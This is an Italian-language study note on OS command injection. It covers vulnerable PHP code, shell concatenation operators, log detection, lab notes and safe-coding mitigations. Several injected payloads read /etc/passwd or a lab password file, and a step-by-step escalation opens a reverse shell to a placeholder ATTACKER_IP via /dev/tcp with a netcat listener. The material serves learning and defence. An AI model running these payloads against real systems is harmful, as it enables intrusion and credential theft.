Cosa fa#
Input utente viene inserito direttamente in un comando di sistema senza sanitizzazione. Il server non distingue dati da istruzioni -- l'attaccante esegue comandi arbitrari sul sistema operativo.
Input utente viene inserito direttamente in un comando di sistema senza sanitizzazione. Il server non distingue dati da istruzioni -- l'attaccante esegue comandi arbitrari sul sistema operativo.
Command Injection e' esecuzione arbitraria di comandi sul sistema.
La differenza chiave: Path Traversal e' limitato alla lettura. Command Injection ha accesso completo al sistema con i privilegi del processo web.
Come funziona#
Il server costruisce un comando concatenando input utente. I metacaratteri della shell (;, |, &, `, $()) permettono di aggiungere comandi arbitrari alla stringa.
// Codice vulnerabile PHP
$target = $_GET['host'];
$output = shell_exec("ping -c 1 " . $target);
echo $output;Input legittimo: 8.8.8.8 → esegue ping -c 1 8.8.8.8
Input malevolo: 8.8.8.8; cat /etc/passwd → esegue:
ping -c 1 8.8.8.8
cat /etc/passwd # comando iniettatoOperatori di concatenazione#
| Operatore | Comportamento | Esempio payload |
|---|---|---|
; | Esegue entrambi i comandi sempre | 8.8.8.8; cat /etc/passwd |
&& | Esegue il secondo solo se il primo ha successo | 8.8.8.8 && cat /etc/passwd |
|| | Esegue il secondo solo se il primo fallisce | x || cat /etc/passwd |
| | Pipe -- passa stdout del primo al secondo | 8.8.8.8 | cat /etc/passwd |
`cmd` | Subshell -- esegue e sostituisce il risultato | `cat /etc/passwd` |
$(cmd) | Subshell alternativa | $(cat /etc/passwd) |
Funzioni PHP vulnerabili#
Quando vedi queste funzioni in un source code review -- attenzione:
| Funzione | Cosa fa |
|---|---|
passthru() | Esegue comando, stampa output direttamente |
system() | Esegue comando, restituisce ultima riga output |
exec() | Esegue comando, restituisce output come array |
shell_exec() | Esegue comando via shell, restituisce output come stringa |
popen() | Apre pipe verso un processo |
`...` | Backtick -- equivalente a shell_exec() |
Dal Command Injection alla Reverse Shell#
Command Injection e' spesso il vettore iniziale per ottenere una reverse shell. Una volta confermato che l'input viene eseguito:
# Step 1: verifica che l'injection funzioni
8.8.8.8; whoami
# Step 2: verifica connettivita' verso l'esterno
8.8.8.8; ping -c 1 ATTACKER_IP
# Step 3: apri reverse shell
8.8.8.8; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1Dall'attaccante: nc -lvnp 4444 in ascolto.
Vedi reverse-shell per il dettaglio del meccanismo.
Come appare nei log#
Access log Apache/Nginx:
GET /ping?host=8.8.8.8%3B+cat+/etc/passwd HTTP/1.1 200
# ^ %3B = ; URL-encoded
GET /search?needle=test|cat+/etc/passwd HTTP/1.1 200
GET /page?file=8.8.8.8%26%26+id HTTP/1.1 200Pattern da cercare: %3B, %7C, %26 (;, |, & URL-encoded) nei parametri GET/POST.
Lab eseguiti#
PortSwigger Command Injection -- settimana 8:
passthru()PHP con concatenazione diretta- Blind injection (nessun output visibile -- inferenza via timing o out-of-band)
OverTheWire Natas livello 9:
grepcon input utente non sanitizzato:grep $input dictionary.txt- Payload:
'' ; cat /etc/natas_webpass/natas10
Mitigazione#
| Approccio | Come |
|---|---|
| Evitare shell functions | Usare API native invece di shell_exec -- es. socket PHP invece di ping |
| Whitelist input | Accettare solo caratteri attesi: [0-9.]+ per un IP |
| Escape dell'input | escapeshellarg() in PHP -- racchiude l'input in apici singoli |
| Least privilege | Il processo web non deve girare come root |
Dev parallel: Questo e' un errore da developer PHP/Node che si incontra spesso in applicazioni legacy. Le funzioni da evitare e le alternative sicure:
PHP -- funzioni pericolose vs sicure:
// Pericoloso: input utente diretto nella shell $output = shell_exec("ping -c 1 " . $_GET['host']); $output = exec("nmap " . $userInput); // Sicuro: escapeshellarg() racchiude l'input in apici singoli $safe = escapeshellarg($_GET['host']); $output = shell_exec("ping -c 1 " . $safe); // 8.8.8.8; cat /etc/passwd diventa '8.8.8.8; cat /etc/passwd' (stringa letterale) // Piu' sicuro: escapeshellcmd() per il comando completo $output = shell_exec(escapeshellcmd("ping -c 1 " . $_GET['host'])); // Meglio: evitare la shell completamente con API native // Invece di shell_exec("curl http://..."), usa Guzzle HTTP ClientNode.js -- exec vs execFile:
// Pericoloso: exec spawna una shell, interpreta metacaratteri const { exec } = require('child_process'); exec('ls ' + userInput, callback); // userInput = "; cat /etc/passwd" // Sicuro: execFile non spawna una shell const { execFile } = require('child_process'); execFile('ls', [userInput], callback); // userInput e' un argomento letteraleSymfony -- Process component:
// Sicuro: array di argomenti, nessuna interpolazione shell use Symfony\Component\Process\Process; $process = new Process(['ls', $userInput]); $process->run();La differenza fondamentale:
exec('cmd ' + input)passa tutto alla shell che interpreta i metacaratteri.execFile('cmd', [input])enew Process(['cmd', input])passano l'array direttamente al kernel come argv, bypassando completamente la shell.
Scenario Reale#
Alert Wazuh su web server: richiesta HTTP con %3B in un parametro. Nei log Apache:
GET /tools/ping?host=192.168.1.1%3B+id HTTP/1.1 200Il 200 OK significa che il comando e' stato eseguito. Investigazione:
- Controlla i log successivi -- ha provato
whoami,cat /etc/passwd? - Cerca tentativi di download verso IP esterni -- possibile staging di payload
- Verifica se e' arrivata una connessione outbound (reverse shell) --
ss -tnpsull'host
Collegato a#
- path-traversal -- stessa famiglia A03, ma navigazione filesystem invece di esecuzione
- owasp-top10 -- A03 Injection, categoria padre
- reverse-shell -- obiettivo finale spesso raggiunto tramite command injection
- bandit-09 -- lab OTW dove hai visto passthru() vulnerabile


